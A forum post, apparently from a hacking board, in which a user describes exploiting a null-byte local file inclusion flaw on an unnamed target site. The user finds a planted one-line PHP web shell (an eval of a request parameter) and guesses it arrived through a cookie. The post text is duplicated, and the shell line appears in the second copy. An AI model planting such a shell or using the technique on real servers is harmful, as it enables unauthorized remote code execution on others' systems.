Sep 9, 2022 05:15 PM
(This post was last modified: Sep 9, 2022 08:54 PM by Mr. Robot.)
Alright so I have to keep this as vague as possible with still trying to provide as much information as I can.
In short:
There is a website - targetsite.com
We have an LFI vulnerability using %00 nullbytes.
In one of the web directories targetsite.com/test/test/c.php
Inside that c.php
No other files are in that directory, nor can I find any other traces of said file. I am unable to repeat the process nor use the c.php for any further gains on the system. I am absolutely confused and the only thing I can think of was it was uploaded before it was patched.
(No upload forms anywhere on the domain, post request doesn't seem to result in output)
I think I figured it out - it was a cookie upload.
In short:
There is a website - targetsite.com
We have an LFI vulnerability using %00 nullbytes.
In one of the web directories targetsite.com/test/test/c.php
Inside that c.php
Code
<?php @eval($_REQUEST[666]);?>No other files are in that directory, nor can I find any other traces of said file. I am unable to repeat the process nor use the c.php for any further gains on the system. I am absolutely confused and the only thing I can think of was it was uploaded before it was patched.
(No upload forms anywhere on the domain, post request doesn't seem to result in output)
I think I figured it out - it was a cookie upload.